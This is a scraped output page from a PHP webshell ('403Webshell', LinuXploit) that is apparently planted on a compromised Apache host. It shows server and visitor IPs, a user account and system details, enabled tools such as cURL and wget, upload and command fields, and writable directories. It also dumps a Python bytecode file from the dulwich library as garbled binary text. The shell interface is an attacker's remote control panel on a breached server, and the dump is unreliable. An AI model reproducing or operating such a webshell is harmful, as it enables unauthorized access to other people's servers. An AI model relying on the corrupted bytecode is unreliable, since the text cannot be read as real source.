403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/dulwich/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/dulwich/__pycache__/log_utils.cpython-313.pyc
�

mEdga
���SrSSKrSSKr\Rr"SS\R5r\"5r\"S5r\R\5 SSjr	SSjr
g)	a�Logging utilities for Dulwich.

Any module that uses logging needs to do compile-time initialization to set up
the logging environment. Since Dulwich is also used as a library, clients may
not want to see any logging output. In that case, we need to use a special
handler to suppress spurious warnings like "No handlers could be found for
logger dulwich.foo".

For details on the _NullHandler approach, see:
http://docs.python.org/library/logging.html#configuring-logging-for-a-library

For many modules, the only function from the logging module they need is
getLogger; this module exports that function for convenience. If a calling
module needs something else, it can import the standard logging module
directly.
�Nc�"�\rSrSrSrSSjrSrg)�_NullHandler�-z;No-op logging handler to avoid unexpected logging warnings.Nc��g)N�)�self�records  �3/usr/lib/python3/dist-packages/dulwich/log_utils.py�emit�_NullHandler.emit0s���r��returnN)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r�__static_attributes__rr
r
rr-s
��E�
r
r�dulwichc�|�[5 [R"[R[R
SS9 g)z#Set up the default Dulwich loggers.z&%(asctime)s %(levelname)s: %(message)s)�level�stream�formatN)�remove_null_handler�logging�basicConfig�INFO�sys�stderrrr
r
�default_logging_configr!9s'��������l�l��z�z�7�r
c�6�[R[5 g)z�Remove the null handler from the Dulwich loggers.

If a caller wants to set up logging using something other than
default_logging_config, calling this function first is a minor optimization
to avoid the overhead of using the _NullHandler.
N)�_DULWICH_LOGGER�
removeHandler�
_NULL_HANDLERrr
r
rrCs���!�!�-�0r
r)rrr�	getLogger�Handlerrr%r#�
addHandlerr!rrr
r
�<module>r)sX��,�"�
����	�
�7�?�?�
���
��I�&�����=�)��1r

Youez - 2016 - github.com/yon3zu
LinuXploit